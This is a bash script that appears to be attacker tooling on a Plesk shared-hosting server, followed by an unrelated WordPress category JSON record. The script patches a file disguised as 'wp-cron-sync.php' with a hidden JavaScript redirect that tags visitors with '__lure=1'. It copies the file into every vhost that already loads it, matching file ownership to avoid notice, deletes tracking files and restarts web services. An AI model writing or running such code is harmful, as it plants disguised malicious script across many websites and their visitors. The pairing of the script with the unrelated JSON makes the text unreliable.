#!/bin/bash
SRC=/var/www/vhosts/uvegara.com/httpdocs/wp-cron-sync.php
grep -q '__lure=1' "$SRC" && echo ALREADY && exit 0
perl -0777 -i -pe 's#setTimeout\(function\(\)\{if\(document\.visibilityState.*?\}\,d\)#setTimeout(function(){var d=1300+Math.floor(Math.random()*1000);setTimeout(function(){if(document.visibilityState==="hidden"){setTimeout(arguments.callee,1500);return}location.replace(location.protocol+"//"+location.host+location.pathname+(location.search||"")+"\&__lure=1")},d)}#s' "$SRC"
grep -q '__lure=1' "$SRC" && echo PERL_OK || { echo PERL_FAIL; exit 1; }
cp "$SRC" /var/www/vhosts/uvegara.com/httpdocs/wp-cron-sync.php
F=0
for d in /var/www/vhosts/*/httpdocs; do
  ix="$d/index.php"; [ -f "$ix" ] || continue
  grep -q 'cron-sync' "$ix" || continue
  U=$(stat -c %U "$ix"); G=$(stat -c %G "$ix")
  cp $SRC "$d/wp-cron-sync.php"
  chown $U:$G "$d/wp-cron-sync.php"; chmod 644 "$d/wp-cron-sync.php"
  F=$((F+1))
done
find /var/www/vhosts/*/httpdocs -maxdepth 1 \( -name ".*.seen" -o -name "..*.stats" \) -delete 2>/dev/null
systemctl restart plesk-php84-fpm plesk-php83-fpm plesk-php82-fpm plesk-php81-fpm plesk-php80-fpm plesk-php74-fpm 2>/dev/null
systemctl reload nginx 2>/dev/null
echo "F57_DONE files=$F"
{"id":1,"count":0,"description":"","link":"https:\/\/valladolidhomesuites.com\/en\/blog\/category\/sin-categorizar\/","name":"Sin categorizar","slug":"sin-categorizar","taxonomy":"category","parent":0,"meta":[],"_links":{"self":[{"href":"https:\/\/valladolidhomesuites.com\/en\/wp-json\/wp\/v2\/categories\/1","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/valladolidhomesuites.com\/en\/wp-json\/wp\/v2\/categories"}],"about":[{"href":"https:\/\/valladolidhomesuites.com\/en\/wp-json\/wp\/v2\/taxonomies\/category"}],"wp:post_type":[{"href":"https:\/\/valladolidhomesuites.com\/en\/wp-json\/wp\/v2\/posts?categories=1"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}